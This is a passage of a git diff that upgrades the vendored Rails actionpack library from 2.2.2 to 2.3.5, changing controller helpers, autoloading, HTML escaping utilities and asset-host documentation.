+    private
+      def set_test_assigns
+        @assigns = {}
+        (instance_variable_names - self.class.protected_instance_variables).each do |var|
+          name, value = var[1..-1], instance_variable_get(var)
+          @assigns[name] = value
+          response.template.assigns[name] = value if response
+        end
+      end
   end
 end
diff --git a/vendor/rails/actionpack/lib/action_controller/translation.rb b/vendor/rails/actionpack/lib/action_controller/translation.rb
index 9bb63cdb..65e9eddb 100644
--- a/vendor/rails/actionpack/lib/action_controller/translation.rb
+++ b/vendor/rails/actionpack/lib/action_controller/translation.rb
@@ -1,12 +1,12 @@
 module ActionController
   module Translation
     def translate(*args)
-      I18n.translate *args
+      I18n.translate(*args)
     end
     alias :t :translate
 
     def localize(*args)
-      I18n.localize *args
+      I18n.localize(*args)
     end
     alias :l :localize
   end
diff --git a/vendor/rails/actionpack/lib/action_controller/uploaded_file.rb b/vendor/rails/actionpack/lib/action_controller/uploaded_file.rb
new file mode 100644
index 00000000..95efc742
--- /dev/null
+++ b/vendor/rails/actionpack/lib/action_controller/uploaded_file.rb
@@ -0,0 +1,44 @@
+module ActionController
+  module UploadedFile
+    def self.included(base)
+      base.class_eval do
+        attr_accessor :original_path, :content_type
+        alias_method :local_path, :path if method_defined?(:path)
+      end
+    end
+
+    def self.extended(object)
+      object.class_eval do
+        attr_accessor :original_path, :content_type
+        alias_method :local_path, :path if method_defined?(:path)
+      end
+    end
+
+    # Take the basename of the upload's original filename.
+    # This handles the full Windows paths given by Internet Explorer
+    # (and perhaps other broken user agents) without affecting
+    # those which give the lone filename.
+    # The Windows regexp is adapted from Perl's File::Basename.
+    def original_filename
+      unless defined? @original_filename
+        @original_filename =
+          unless original_path.blank?
+            if original_path =~ /^(?:.*[:\\\/])?(.*)/m
+              $1
+            else
+              File.basename original_path
+            end
+          end
+      end
+      @original_filename
+    end
+  end
+
+  class UploadedStringIO < StringIO
+    include UploadedFile
+  end
+
+  class UploadedTempfile < Tempfile
+    include UploadedFile
+  end
+end
diff --git a/vendor/rails/actionpack/lib/action_controller/url_rewriter.rb b/vendor/rails/actionpack/lib/action_controller/url_rewriter.rb
index d86e2db6..e4c2a29e 100644
--- a/vendor/rails/actionpack/lib/action_controller/url_rewriter.rb
+++ b/vendor/rails/actionpack/lib/action_controller/url_rewriter.rb
@@ -92,15 +92,12 @@ module ActionController
   #     end
   #   end
   module UrlWriter
-    # The default options for urls written by this writer. Typically a <tt>:host</tt>
-    # pair is provided.
-    mattr_accessor :default_url_options
-    self.default_url_options = {}
-
     def self.included(base) #:nodoc:
       ActionController::Routing::Routes.install_helpers(base)
       base.mattr_accessor :default_url_options
-      base.default_url_options ||= default_url_options
+
+      # The default options for urls written by this writer. Typically a <tt>:host</tt> pair is provided.
+      base.default_url_options ||= {}
     end
 
     # Generate a url based on the options provided, default_url_options and the
@@ -187,7 +184,7 @@ module ActionController
         path = rewrite_path(options)
         rewritten_url << ActionController::Base.relative_url_root.to_s unless options[:skip_relative_url_root]
         rewritten_url << (options[:trailing_slash] ? path.sub(/\?|\z/) { "/" + $& } : path)
-        rewritten_url << "##{options[:anchor]}" if options[:anchor]
+        rewritten_url << "##{CGI.escape(options[:anchor].to_param.to_s)}" if options[:anchor]
 
         rewritten_url
       end
diff --git a/vendor/rails/actionpack/lib/action_controller/vendor/html-scanner.rb b/vendor/rails/actionpack/lib/action_controller/vendor/html-scanner.rb
new file mode 100644
index 00000000..f622d195
--- /dev/null
+++ b/vendor/rails/actionpack/lib/action_controller/vendor/html-scanner.rb
@@ -0,0 +1,16 @@
+$LOAD_PATH << "#{File.dirname(__FILE__)}/html-scanner"
+
+module HTML
+  autoload :CDATA, 'html/node'
+  autoload :Document, 'html/document'
+  autoload :FullSanitizer, 'html/sanitizer'
+  autoload :LinkSanitizer, 'html/sanitizer'
+  autoload :Node, 'html/node'
+  autoload :Sanitizer, 'html/sanitizer'
+  autoload :Selector, 'html/selector'
+  autoload :Tag, 'html/node'
+  autoload :Text, 'html/node'
+  autoload :Tokenizer, 'html/tokenizer'
+  autoload :Version, 'html/version'
+  autoload :WhiteListSanitizer, 'html/sanitizer'
+end
diff --git a/vendor/rails/actionpack/lib/action_controller/vendor/html-scanner/html/node.rb b/vendor/rails/actionpack/lib/action_controller/vendor/html-scanner/html/node.rb
index 6c033163..0cd05d8e 100644
--- a/vendor/rails/actionpack/lib/action_controller/vendor/html-scanner/html/node.rb
+++ b/vendor/rails/actionpack/lib/action_controller/vendor/html-scanner/html/node.rb
@@ -162,7 +162,7 @@ module HTML #:nodoc:
           end
           
           closing = ( scanner.scan(/\//) ? :close : nil )
-          return Text.new(parent, line, pos, content) unless name = scanner.scan(/[\w:-]+/)
+          return Text.new(parent, line, pos, content) unless name = scanner.scan(/[-:\w\x00-\x09\x0b-\x0c\x0e-\x1f]+/)
           name.downcase!
   
           unless closing
diff --git a/vendor/rails/actionpack/lib/action_controller/vendor/html-scanner/html/selector.rb b/vendor/rails/actionpack/lib/action_controller/vendor/html-scanner/html/selector.rb
index 376bb874..e2c49c28 100644
--- a/vendor/rails/actionpack/lib/action_controller/vendor/html-scanner/html/selector.rb
+++ b/vendor/rails/actionpack/lib/action_controller/vendor/html-scanner/html/selector.rb
@@ -556,7 +556,7 @@ module HTML
         end
 
         # Attribute value.
-        next if statement.sub!(/^\[\s*([[:alpha:]][\w\-]*)\s*((?:[~|^$*])?=)?\s*('[^']*'|"[^*]"|[^\]]*)\s*\]/) do |match|
+        next if statement.sub!(/^\[\s*([[:alpha:]][\w\-:]*)\s*((?:[~|^$*])?=)?\s*('[^']*'|"[^*]"|[^\]]*)\s*\]/) do |match|
           name, equality, value = $1, $2, $3
           if value == "?"
             value = values.shift
diff --git a/vendor/rails/actionpack/lib/action_controller/verification.rb b/vendor/rails/actionpack/lib/action_controller/verification.rb
index 7bf09ba6..c62b81b6 100644
--- a/vendor/rails/actionpack/lib/action_controller/verification.rb
+++ b/vendor/rails/actionpack/lib/action_controller/verification.rb
@@ -90,7 +90,7 @@ module ActionController #:nodoc:
     def verify_action(options) #:nodoc:
       if prereqs_invalid?(options)
         flash.update(options[:add_flash])              if options[:add_flash]
-        response.headers.update(options[:add_headers]) if options[:add_headers]
+        response.headers.merge!(options[:add_headers]) if options[:add_headers]
         apply_remaining_actions(options)               unless performed?
       end
     end
diff --git a/vendor/rails/actionpack/lib/action_pack.rb b/vendor/rails/actionpack/lib/action_pack.rb
index c7fd3092..b90f89be 100644
--- a/vendor/rails/actionpack/lib/action_pack.rb
+++ b/vendor/rails/actionpack/lib/action_pack.rb
@@ -1,5 +1,5 @@
 #--
-# Copyright (c) 2004-2008 David Heinemeier Hansson
+# Copyright (c) 2004-2009 David Heinemeier Hansson
 #
 # Permission is hereby granted, free of charge, to any person obtaining
 # a copy of this software and associated documentation files (the
diff --git a/vendor/rails/actionpack/lib/action_pack/version.rb b/vendor/rails/actionpack/lib/action_pack/version.rb
index 2efc13de..4c88b3d5 100644
--- a/vendor/rails/actionpack/lib/action_pack/version.rb
+++ b/vendor/rails/actionpack/lib/action_pack/version.rb
@@ -1,8 +1,8 @@
 module ActionPack #:nodoc:
   module VERSION #:nodoc:
     MAJOR = 2
-    MINOR = 2
-    TINY  = 2
+    MINOR = 3
+    TINY  = 5
 
     STRING = [MAJOR, MINOR, TINY].join('.')
   end
diff --git a/vendor/rails/actionpack/lib/action_view.rb b/vendor/rails/actionpack/lib/action_view.rb
index 7b1d3f8e..025745cf 100644
--- a/vendor/rails/actionpack/lib/action_view.rb
+++ b/vendor/rails/actionpack/lib/action_view.rb
@@ -1,5 +1,5 @@
 #--
-# Copyright (c) 2004-2008 David Heinemeier Hansson
+# Copyright (c) 2004-2009 David Heinemeier Hansson
 #
 # Permission is hereby granted, free of charge, to any person obtaining
 # a copy of this software and associated documentation files (the
@@ -31,23 +31,28 @@ rescue LoadError
   end
 end
 
-require 'action_view/template_handlers'
-require 'action_view/renderable'
-require 'action_view/renderable_partial'
+module ActionView
+  def self.load_all!
+    [Base, InlineTemplate, TemplateError]
+  end
 
-require 'action_view/template'
-require 'action_view/inline_template'
-require 'action_view/paths'
+  autoload :Base, 'action_view/base'
+  autoload :Helpers, 'action_view/helpers'
+  autoload :InlineTemplate, 'action_view/inline_template'
+  autoload :Partials, 'action_view/partials'
+  autoload :PathSet, 'action_view/paths'
+  autoload :Renderable, 'action_view/renderable'
+  autoload :RenderablePartial, 'action_view/renderable_partial'
+  autoload :Template, 'action_view/template'
+  autoload :ReloadableTemplate, 'action_view/reloadable_template'
+  autoload :TemplateError, 'action_view/template_error'
+  autoload :TemplateHandler, 'action_view/template_handler'
+  autoload :TemplateHandlers, 'action_view/template_handlers'
+  autoload :Helpers, 'action_view/helpers'
+  autoload :SafeBuffer, 'action_view/safe_buffer'
+end
+
+require 'action_view/erb/util'
 
-require 'action_view/base'
-require 'action_view/partials'
-require 'action_view/template_error'
 
 I18n.load_path << "#{File.dirname(__FILE__)}/action_view/locale/en.yml"
-
-require 'action_view/helpers'
-
-ActionView::Base.class_eval do
-  include ActionView::Partials
-  include ActionView::Helpers
-end
diff --git a/vendor/rails/actionpack/lib/action_view/base.rb b/vendor/rails/actionpack/lib/action_view/base.rb
index f5f3fda5..f10a2662 100644
--- a/vendor/rails/actionpack/lib/action_view/base.rb
+++ b/vendor/rails/actionpack/lib/action_view/base.rb
@@ -3,9 +3,12 @@ module ActionView #:nodoc:
   end
 
   class MissingTemplate < ActionViewError #:nodoc:
+    attr_reader :path
+
     def initialize(paths, path, template_format = nil)
+      @path = path
       full_template_path = path.include?('.') ? path : "#{path}.erb"
-      display_paths = paths.join(':')
+      display_paths = paths.compact.join(":")
       template_type = (path =~ /layouts/i) ? 'layout' : 'template'
       super("Missing #{template_type} #{full_template_path} in view path #{display_paths}")
     end
@@ -157,7 +160,7 @@ module ActionView #:nodoc:
   #
   # See the ActionView::Helpers::PrototypeHelper::GeneratorMethods documentation for more details.
   class Base
-    include ERB::Util
+    include Helpers, Partials, ::ERB::Util
     extend ActiveSupport::Memoizable
 
     attr_accessor :base_path, :assigns, :template_extension
@@ -172,29 +175,30 @@ module ActionView #:nodoc:
       delegate :logger, :to => 'ActionController::Base'
     end
 
-    # Templates that are exempt from layouts
-    @@exempt_from_layout = Set.new([/\.rjs$/])
-
-    # Don't render layouts for templates with the given extensions.
-    def self.exempt_from_layout(*extensions)
-      regexps = extensions.collect do |extension|
-        extension.is_a?(Regexp) ? extension : /\.#{Regexp.escape(extension.to_s)}$/
-      end
-      @@exempt_from_layout.merge(regexps)
-    end
-
+    @@debug_rjs = false
+    ##
+    # :singleton-method:
     # Specify whether RJS responses should be wrapped in a try/catch block
     # that alert()s the caught exception (and then re-raises it).
-    @@debug_rjs = false
     cattr_accessor :debug_rjs
 
-    # A warning will be displayed whenever an action results in a cache miss on your view paths.
-    @@warn_cache_misses = false
-    cattr_accessor :warn_cache_misses
+    # Specify whether templates should be cached. Otherwise the file we be read everytime it is accessed.
+    # Automatically reloading templates are not thread safe and should only be used in development mode.
+    @@cache_template_loading = nil
+    cattr_accessor :cache_template_loading
+
+    # :nodoc:
+    def self.xss_safe?
+      false
+    end
+
+    def self.cache_template_loading?
+      ActionController::Base.allow_concurrency || (cache_template_loading.nil? ? !ActiveSupport::Dependencies.load? : cache_template_loading)
+    end
 
     attr_internal :request
 
-    delegate :request_forgery_protection_token, :template, :params, :session, :cookies, :response, :headers,
+    delegate :request_forgery_protection_token, :params, :session, :cookies, :response, :headers,
              :flash, :logger, :action_name, :controller_name, :to => :controller
 
     module CompiledTemplates #:nodoc:
@@ -222,38 +226,43 @@ module ActionView #:nodoc:
     def initialize(view_paths = [], assigns_for_first_render = {}, controller = nil)#:nodoc:
       @assigns = assigns_for_first_render
       @assigns_added = nil
-      @_render_stack = []
       @controller = controller
       @helpers = ProxyModule.new(self)
       self.view_paths = view_paths
+
+      @_first_render = nil
+      @_current_render = nil
     end
 
     attr_reader :view_paths
 
     def view_paths=(paths)
       @view_paths = self.class.process_view_paths(paths)
+      # we might be using ReloadableTemplates, so we need to let them know this a new request
+      @view_paths.load!
     end
 
-    # Renders the template present at <tt>template_path</tt> (relative to the view_paths array).
-    # The hash in <tt>local_assigns</tt> is made available as local variables.
+    # Returns the result of a render that's dictated by the options hash. The primary options are:
+    #
+    # * <tt>:partial</tt> - See ActionView::Partials.
+    # * <tt>:update</tt> - Calls update_page with the block given.
+    # * <tt>:file</tt> - Renders an explicit template file (this used to be the old default), add :locals to pass in those.
+    # * <tt>:inline</tt> - Renders an inline template similar to how it's done in the controller.
+    # * <tt>:text</tt> - Renders the text passed in out.
+    #
+    # If no options hash is passed or :update specified, the default is to render a partial and use the second parameter
+    # as the locals hash.
     def render(options = {}, local_assigns = {}, &block) #:nodoc:
       local_assigns ||= {}
 
-      if options.is_a?(String)
-        ActiveSupport::Deprecation.warn(
-          "Calling render with a string will render a partial from Rails 2.3. " +
-          "Change this call to render(:file => '#{options}', :locals => locals_hash)."
-        )
-
-        render(:file => options, :locals => local_assigns)
-      elsif options == :update
-        update_page(&block)
-      elsif options.is_a?(Hash)
+      case options
+      when Hash
         options = options.reverse_merge(:locals => {})
         if options[:layout]
           _render_with_layout(options, local_assigns, &block)
         elsif options[:file]
-          _pick_template(options[:file]).render_template(self, options[:locals])
+          template = self.view_paths.find_template(options[:file], template_format)
+          template.render_template(self, options[:locals])
         elsif options[:partial]
           render_partial(options)
         elsif options[:inline]
@@ -261,6 +270,10 @@ module ActionView #:nodoc:
         elsif options[:text]
           options[:text]
         end
+      when :update
+        update_page(&block)
+      else
+        render_partial(:partial => options, :locals => local_assigns)
       end
     end
 
@@ -271,7 +284,7 @@ module ActionView #:nodoc:
       if defined? @template_format
         @template_format
       elsif controller && controller.respond_to?(:request)
-        @template_format = controller.request.template_format
+        @template_format = controller.request.template_format.to_sym
       else
         @template_format = :html
       end
@@ -280,7 +293,19 @@ module ActionView #:nodoc:
     # Access the current template being rendered.
     # Returns a ActionView::Template object.
     def template
-      @_render_stack.last
+      @_current_render
+    end
+
+    def template=(template) #:nodoc:
+      @_first_render ||= template
+      @_current_render = template
+    end
+
+    def with_template(current_template)
+      last_template, self.template = template, current_template
+      yield
+    ensure
+      self.template = last_template
     end
 
     private
@@ -307,50 +332,6 @@ module ActionView #:nodoc:
         end
       end
 
-      def _pick_template(template_path)
-        return template_path if template_path.respond_to?(:render)
-
-        path = template_path.sub(/^\//, '')
-        if m = path.match(/(.*)\.(\w+)$/)
-          template_file_name, template_file_extension = m[1], m[2]
-        else
-          template_file_name = path
-        end
-
-        # OPTIMIZE: Checks to lookup template in view path
-        if template = self.view_paths["#{template_file_name}.#{template_format}"]
-          template
-        elsif template = self.view_paths[template_file_name]
-          template
-        elsif (first_render = @_render_stack.first) && first_render.respond_to?(:format_and_extension) &&
-            (template = self.view_paths["#{template_file_name}.#{first_render.format_and_extension}"])
-          template
-        elsif template_format == :js && template = self.view_paths["#{template_file_name}.html"]
-          @template_format = :html
-          template
-        else
-          template = Template.new(template_path, view_paths)
-
-          if self.class.warn_cache_misses && logger
-            logger.debug "[PERFORMANCE] Rendering a template that was " +
-              "not found in view path. Templates outside the view path are " +
-              "not cached and result in expensive disk operations. Move this " +
-              "file into #{view_paths.join(':')} or add the folder to your " +
-              "view path list"
-          end
-
-          template
-        end
-      end
-      memoize :_pick_template
-
-      def _exempt_from_layout?(template_path) #:nodoc:
-        template = _pick_template(template_path).to_s
-        @@exempt_from_layout.any? { |ext| template =~ ext }
-      rescue ActionView::MissingTemplate
-        return false
-      end
-
       def _render_with_layout(options, local_assigns, &block) #:nodoc:
         partial_layout = options.delete(:layout)
 
diff --git a/vendor/rails/actionpack/lib/action_view/erb/util.rb b/vendor/rails/actionpack/lib/action_view/erb/util.rb
new file mode 100644
index 00000000..4f8b285e
--- /dev/null
+++ b/vendor/rails/actionpack/lib/action_view/erb/util.rb
@@ -0,0 +1,44 @@
+require 'erb'
+
+class ERB
+  module Util
+    HTML_ESCAPE = { '&' => '&amp;',  '>' => '&gt;',   '<' => '&lt;', '"' => '&quot;' }
+    JSON_ESCAPE = { '&' => '\u0026', '>' => '\u003E', '<' => '\u003C' }
+
+    # A utility method for escaping HTML tag characters.
+    # This method is also aliased as <tt>h</tt>.
+    #
+    # In your ERb templates, use this method to escape any unsafe content. For example:
+    #   <%=h @person.name %>
+    #
+    # ==== Example:
+    #   puts html_escape("is a > 0 & a < 10?")
+    #   # => is a &gt; 0 &amp; a &lt; 10?
+    def html_escape(s)
+      s.to_s.gsub(/[&"><]/) { |special| HTML_ESCAPE[special] }
+    end
+
+    undef :h
+    alias h html_escape
+
+    module_function :html_escape
+    module_function :h
+
+    # A utility method for escaping HTML entities in JSON strings.
+    # This method is also aliased as <tt>j</tt>.
+    #
+    # In your ERb templates, use this method to escape any HTML entities:
+    #   <%=j @person.to_json %>
+    #
+    # ==== Example:
+    #   puts json_escape("is a > 0 & a < 10?")
+    #   # => is a \u003E 0 \u0026 a \u003C 10?
+    def json_escape(s)
+      s.to_s.gsub(/[&"><]/) { |special| JSON_ESCAPE[special] }
+    end
+
+    alias j json_escape
+    module_function :j
+    module_function :json_escape
+  end
+end
diff --git a/vendor/rails/actionpack/lib/action_view/helpers.rb b/vendor/rails/actionpack/lib/action_view/helpers.rb
index ff97df20..cea894dd 100644
--- a/vendor/rails/actionpack/lib/action_view/helpers.rb
+++ b/vendor/rails/actionpack/lib/action_view/helpers.rb
@@ -1,10 +1,29 @@
-Dir.entries(File.expand_path("#{File.dirname(__FILE__)}/helpers")).sort.each do |file|
-  next unless file =~ /^([a-z][a-z_]*_helper).rb$/
-  require "action_view/helpers/#{$1}"
-end
-
 module ActionView #:nodoc:
   module Helpers #:nodoc:
+    autoload :ActiveRecordHelper, 'action_view/helpers/active_record_helper'
+    autoload :AssetTagHelper, 'action_view/helpers/asset_tag_helper'
+    autoload :AtomFeedHelper, 'action_view/helpers/atom_feed_helper'
+    autoload :BenchmarkHelper, 'action_view/helpers/benchmark_helper'
+    autoload :CacheHelper, 'action_view/helpers/cache_helper'
+    autoload :CaptureHelper, 'action_view/helpers/capture_helper'
+    autoload :DateHelper, 'action_view/helpers/date_helper'
+    autoload :DebugHelper, 'action_view/helpers/debug_helper'
+    autoload :FormHelper, 'action_view/helpers/form_helper'
+    autoload :FormOptionsHelper, 'action_view/helpers/form_options_helper'
+    autoload :FormTagHelper, 'action_view/helpers/form_tag_helper'
+    autoload :JavaScriptHelper, 'action_view/helpers/javascript_helper'
+    autoload :NumberHelper, 'action_view/helpers/number_helper'
+    autoload :PrototypeHelper, 'action_view/helpers/prototype_helper'
+    autoload :RawOutputHelper, 'action_view/helpers/raw_output_helper'
+    autoload :RecordIdentificationHelper, 'action_view/helpers/record_identification_helper'
+    autoload :RecordTagHelper, 'action_view/helpers/record_tag_helper'
+    autoload :SanitizeHelper, 'action_view/helpers/sanitize_helper'
+    autoload :ScriptaculousHelper, 'action_view/helpers/scriptaculous_helper'
+    autoload :TagHelper, 'action_view/helpers/tag_helper'
+    autoload :TextHelper, 'action_view/helpers/text_helper'
+    autoload :TranslationHelper, 'action_view/helpers/translation_helper'
+    autoload :UrlHelper, 'action_view/helpers/url_helper'
+
     def self.included(base)
       base.extend(ClassMethods)
     end
@@ -24,8 +43,10 @@ module ActionView #:nodoc:
     include FormHelper
     include FormOptionsHelper
     include FormTagHelper
+    include JavaScriptHelper
     include NumberHelper
     include PrototypeHelper
+    include RawOutputHelper
     include RecordIdentificationHelper
     include RecordTagHelper
     include SanitizeHelper
diff --git a/vendor/rails/actionpack/lib/action_view/helpers/active_record_helper.rb b/vendor/rails/actionpack/lib/action_view/helpers/active_record_helper.rb
index 8b56d241..a5788f78 100644
--- a/vendor/rails/actionpack/lib/action_view/helpers/active_record_helper.rb
+++ b/vendor/rails/actionpack/lib/action_view/helpers/active_record_helper.rb
@@ -3,7 +3,7 @@ require 'action_view/helpers/form_helper'
 
 module ActionView
   class Base
-    @@field_error_proc = Proc.new{ |html_tag, instance| "<div class=\"fieldWithErrors\">#{html_tag}</div>" }
+    @@field_error_proc = Proc.new{ |html_tag, instance| "<div class=\"fieldWithErrors\">#{html_tag}</div>".html_safe! }
     cattr_accessor :field_error_proc
   end
 
@@ -121,7 +121,7 @@ module ActionView
         if (obj = (object.respond_to?(:errors) ? object : instance_variable_get("@#{object}"))) &&
           (errors = obj.errors.on(method))
           content_tag("div",
-            "#{options[:prepend_text]}#{errors.is_a?(Array) ? errors.first : errors}#{options[:append_text]}",
+            "#{options[:prepend_text]}#{ERB::Util.html_escape(errors.is_a?(Array) ? errors.first : errors)}#{options[:append_text]}",
             :class => options[:css_class]
           )
         else
@@ -171,7 +171,7 @@ module ActionView
         options = params.extract_options!.symbolize_keys
 
         if object = options.delete(:object)
-          objects = [object].flatten
+          objects = Array.wrap(object)
         else
           objects = params.collect {|object_name| instance_variable_get("@#{object_name}") }.compact
         end
@@ -198,7 +198,7 @@ module ActionView
               locale.t :header, :count => count, :model => object_name
             end
             message = options.include?(:message) ? options[:message] : locale.t(:body)
-            error_messages = objects.sum {|object| object.errors.full_messages.map {|msg| content_tag(:li, msg) } }.join
+            error_messages = objects.sum {|object| object.errors.full_messages.map {|msg| content_tag(:li, ERB::Util.html_escape(msg)) } }.join
 
             contents = ''
             contents << content_tag(options[:header_tag] || :h2, header_message) unless header_message.blank?
@@ -290,7 +290,7 @@ module ActionView
       end
 
       def error_wrapping(html_tag, has_error)
-        has_error ? Base.field_error_proc.call(html_tag, self) : html_tag
+        has_error ? Base.field_error_proc.call(html_tag, self).html_safe! : html_tag
       end
 
       def error_message
diff --git a/vendor/rails/actionpack/lib/action_view/helpers/asset_tag_helper.rb b/vendor/rails/actionpack/lib/action_view/helpers/asset_tag_helper.rb
index 4352d781..574b384d 100644
--- a/vendor/rails/actionpack/lib/action_view/helpers/asset_tag_helper.rb
+++ b/vendor/rails/actionpack/lib/action_view/helpers/asset_tag_helper.rb
@@ -6,54 +6,70 @@ module ActionView
   module Helpers #:nodoc:
     # This module provides methods for generating HTML that links views to assets such
     # as images, javascripts, stylesheets, and feeds. These methods do not verify
-    # the assets exist before linking to them.
+    # the assets exist before linking to them:
+    #
+    #   image_tag("rails.png")
+    #   # => <img alt="Rails src="/images/rails.png?1230601161" />
+    #   stylesheet_link_tag("application")
+    #   # => <link href="/stylesheets/application.css?1232285206" media="screen" rel="stylesheet" type="text/css" />
     #
     # === Using asset hosts
+    #
     # By default, Rails links to these assets on the current host in the public
-    # folder, but you can direct Rails to link to assets from a dedicated assets server by
-    # setting ActionController::Base.asset_host in your <tt>config/environment.rb</tt>.  For example,
-    # let's say your asset host is <tt>assets.example.com</tt>.
+    # folder, but you can direct Rails to link to assets from a dedicated asset
+    # server by setting ActionController::Base.asset_host in the application
+    # configuration, typically in <tt>config/environments/production.rb</tt>.
+    # For example, you'd define <tt>assets.example.com</tt> to be your asset
+    # host this way:
     #
     #   ActionController::Base.asset_host = "assets.example.com"
-    #   image_tag("rails.png")
-    #     => <img src="http://assets.example.com/images/rails.png" alt="Rails" />
-    #   stylesheet_link_tag("application")
-    #     => <link href="http://assets.example.com/stylesheets/application.css" media="screen" rel="stylesheet" type="text/css" />
     #
-    # This is useful since browsers typically open at most two connections to a single host,
-    # which means your assets often wait in single file for their turn to load.  You can
-    # alleviate this by using a <tt>%d</tt> wildcard in <tt>asset_host</tt> (for example, "assets%d.example.com")
-    # to automatically distribute asset requests among four hosts (e.g., "assets0.example.com" through "assets3.example.com")
-    # so browsers will open eight connections rather than two.
+    # Helpers take that into account:
     #
     #   image_tag("rails.png")
-    #     => <img src="http://assets0.example.com/images/rails.png" alt="Rails" />
+    #   # => <img alt="Rails" src="http://assets.example.com/images/rails.png?1230601161" />
     #   stylesheet_link_tag("application")
-    #     => <link href="http://assets3.example.com/stylesheets/application.css" media="screen" rel="stylesheet" type="text/css" />
+    #   # => <link href="http://assets.example.com/stylesheets/application.css?1232285206" media="screen" rel="stylesheet" type="text/css" />
     #
-    # To do this, you can either setup 4 actual hosts, or you can use wildcard DNS to CNAME
-    # the wildcard to a single asset host.  You can read more about setting up your DNS CNAME records from
-    # your ISP.
+    # Browsers typically open at most two simultaneous connections to a single
+    # host, which means your assets often have to wait for other assets to finish
+    # downloading. You can alleviate this by using a <tt>%d</tt> wildcard in the
+    # +asset_host+. For example, "assets%d.example.com". If that wildcard is
+    # present Rails distributes asset requests among the corresponding four hosts
+    # "assets0.example.com", ..., "assets3.example.com". With this trick browsers
+    # will open eight simultaneous connections rather than two.
+    #
+    #   image_tag("rails.png")
+    #   # => <img alt="Rails" src="http://assets0.example.com/images/rails.png?1230601161" />
+    #   stylesheet_link_tag("application")
+    #   # => <link href="http://assets2.example.com/stylesheets/application.css?1232285206" media="screen" rel="stylesheet" type="text/css" />
+    #
+    # To do this, you can either setup four actual hosts, or you can use wildcard
+    # DNS to CNAME the wildcard to a single asset host. You can read more about
+    # setting up your DNS CNAME records from your ISP.
     #
     # Note: This is purely a browser performance optimization and is not meant
     # for server load balancing. See http://www.die.net/musings/page_load_time/
     # for background.
     #
-    # Alternatively, you can exert more control over the asset host by setting <tt>asset_host</tt> to a proc
-    # that takes a single source argument. This is useful if you are unable to setup 4 actual hosts or have
-    # fewer/more than 4 hosts. The example proc below generates http://assets1.example.com and
-    # http://assets2.example.com randomly.
+    # Alternatively, you can exert more control over the asset host by setting
+    # +asset_host+ to a proc like this:
     #
-    #   ActionController::Base.asset_host = Proc.new { |source| "http://assets#{rand(2) + 1}.example.com" }
+    #   ActionController::Base.asset_host = Proc.new { |source|
+    #     "http://assets#{rand(2) + 1}.example.com"
+    #   }
     #   image_tag("rails.png")
-    #     => <img src="http://assets2.example.com/images/rails.png" alt="Rails" />
+    #   # => <img alt="Rails" src="http://assets0.example.com/images/rails.png?1230601161" />
     #   stylesheet_link_tag("application")
-    #     => <link href="http://assets1.example.com/stylesheets/application.css" media="screen" rel="stylesheet" type="text/css" />
+    #   # => <link href="http://assets1.example.com/stylesheets/application.css?1232285206" media="screen" rel="stylesheet" type="text/css" />
     #
-    # The proc takes a <tt>source</tt> parameter (which is the path of the source asset) and an optional
-    # <tt>request</tt> parameter (which is an entire instance of an <tt>ActionController::AbstractRequest</tt>
-    # subclass). This can be used to generate a particular asset host depending on the asset path and the particular
-    # request.
+    # The example above generates "http://assets1.example.com" and
+    # "http://assets2.example.com" randomly. This option is useful for example if
+    # you need fewer/more than four hosts, custom host names, etc.
+    #
+    # As you see the proc takes a +source+ parameter. That's a string with the
+    # absolute path of the asset with any extensions and timestamps in place,
+    # for example "/images/rails.png?1230601161".
     #
     #    ActionController::Base.asset_host = Proc.new { |source|
     #      if source.starts_with?('/images')
@@ -63,14 +79,16 @@ module ActionView
     #      end
     #    }
     #   image_tag("rails.png")
-    #     => <img src="http://images.example.com/images/rails.png" alt="Rails" />
+    #   # => <img alt="Rails" src="http://images.example.com/images/rails.png?1230601161" />
     #   stylesheet_link_tag("application")
-    #     => <link href="http://assets.example.com/stylesheets/application.css" media="screen" rel="stylesheet" type="text/css" />
+    #   # => <link href="http://assets.example.com/stylesheets/application.css?1232285206" media="screen" rel="stylesheet" type="text/css" />
     #
-    # The optional <tt>request</tt> parameter to the proc is useful in particular for serving assets from an
-    # SSL-protected page. The example proc below disables asset hosting for HTTPS connections, while still sending
-    # assets for plain HTTP requests from asset hosts. This is useful for avoiding mixed media warnings when serving
-    # non-HTTP assets from HTTPS web pages when you don't have an SSL certificate for each of the asset hosts.
+    # Alternatively you may ask for a second parameter +request+. That one is
+    # particularly useful for serving assets from an SSL-protected page. The
+    # example proc below disables asset hosting for HTTPS connections, while
+    # still sending assets for plain HTTP requests from asset hosts. If you don't
+    # have SSL certificates for each of the asset hosts this technique allows you
+    # to avoid warnings in the client about mixed media.
     #
     #   ActionController::Base.asset_host = Proc.new { |source, request|
     #     if request.ssl?
@@ -80,26 +98,38 @@ module ActionView
     #     end
     #   }
     #
+    # You can also implement a custom asset host object that responds to +call+
+    # and takes either one or two parameters just like the proc.
+    #
+    #   config.action_controller.asset_host = AssetHostingWithMinimumSsl.new(
+    #     "http://asset%d.example.com", "https://asset1.example.com"
+    #   )
+    #
     # === Using asset timestamps
     #
-    # By default, Rails will append all asset paths with that asset's timestamp. This allows you to set a cache-expiration date for the
-    # asset far into the future, but still be able to instantly invalidate it by simply updating the file (and hence updating the timestamp,
-    # which then updates the URL as the timestamp is part of that, which in turn busts the cache).
+    # By default, Rails appends asset's timestamps to all asset paths. This allows
+    # you to set a cache-expiration date for the asset far into the future, but
+    # still be able to instantly invalidate it by simply updating the file (and
+    # hence updating the timestamp, which then updates the URL as the timestamp
+    # is part of that, which in turn busts the cache).
     #
-    # It's the responsibility of the web server you use to set the far-future expiration date on cache assets that you need to take
-    # advantage of this feature. Here's an example for Apache:
+    # It's the responsibility of the web server you use to set the far-future
+    # expiration date on cache assets that you need to take advantage of this
+    # feature. Here's an example for Apache:
     #
-    # # Asset Expiration
-    # ExpiresActive On
-    # <FilesMatch "\.(ico|gif|jpe?g|png|js|css)$">
-    #   ExpiresDefault "access plus 1 year"
-    # </FilesMatch>
+    #   # Asset Expiration
+    #   ExpiresActive On
+    #   <FilesMatch "\.(ico|gif|jpe?g|png|js|css)$">
+    #     ExpiresDefault "access plus 1 year"
+    #   </FilesMatch>
     #
-    # Also note that in order for this to work, all your application servers must return the same timestamps. This means that they must
-    # have their clocks synchronized. If one of them drift out of sync, you'll see different timestamps at random and the cache won't
-    # work. Which means that the browser will request the same assets over and over again even thought they didn't change. You can use
-    # something like Live HTTP Headers for Firefox to verify that the cache is indeed working (and that the assets are not being
-    # requested over and over).
+    # Also note that in order for this to work, all your application servers must
+    # return the same timestamps. This means that they must have their clocks
